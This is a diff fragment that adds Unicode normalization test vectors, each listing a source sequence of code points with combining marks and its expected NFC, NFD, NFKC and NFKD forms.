+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF1, 0x0062], NFC: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF1, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF2, 0x0062], NFC: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF2, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF3, 0x0062], NFC: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF3, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF4, 0x0062], NFC: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF4, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B30, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B30, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B30, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B30, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B30, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B30, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B31, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B31, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B31, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B31, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B31, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B31, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B32, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B32, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B32, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B32, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B32, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B32, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B33, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B33, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B33, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B33, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B33, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B33, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B34, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B34, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B34, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B34, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B34, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B34, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B35, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B35, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B35, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B35, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B35, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B35, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B36, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B36, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B36, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B36, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B36, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B36, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x16FF0, 0x0334, 0x16FF0, 0x0062], NFC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x093C, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x16FF0, 0x0334, 0x16FF1, 0x0062], NFC: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16FF1, 0x093C, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1BC9E, 0x0062], NFC: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1BC9E, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D165, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D165, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D166, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D166, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1D167, 0x0062], NFC: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1D167, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1D168, 0x0062], NFC: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1D168, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1D169, 0x0062], NFC: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1D169, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x05AE, 0x1D16D, 0x302E, 0x1D16D, 0x0062], NFC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x05AE, 0x1D16D, 0x302E, 0x0062], NFC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D16E, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D16E, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D16F, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D16F, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D170, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D170, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D171, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D171, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D172, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D172, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D180, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D180, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D181, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D181, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D182, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D182, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D185, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D185, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D185, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D185, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D185, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D185, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D186, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D186, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D186, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D186, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D186, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D186, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D186, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D187, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D187, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D187, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D187, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D187, 0x0315, 0x0062] },
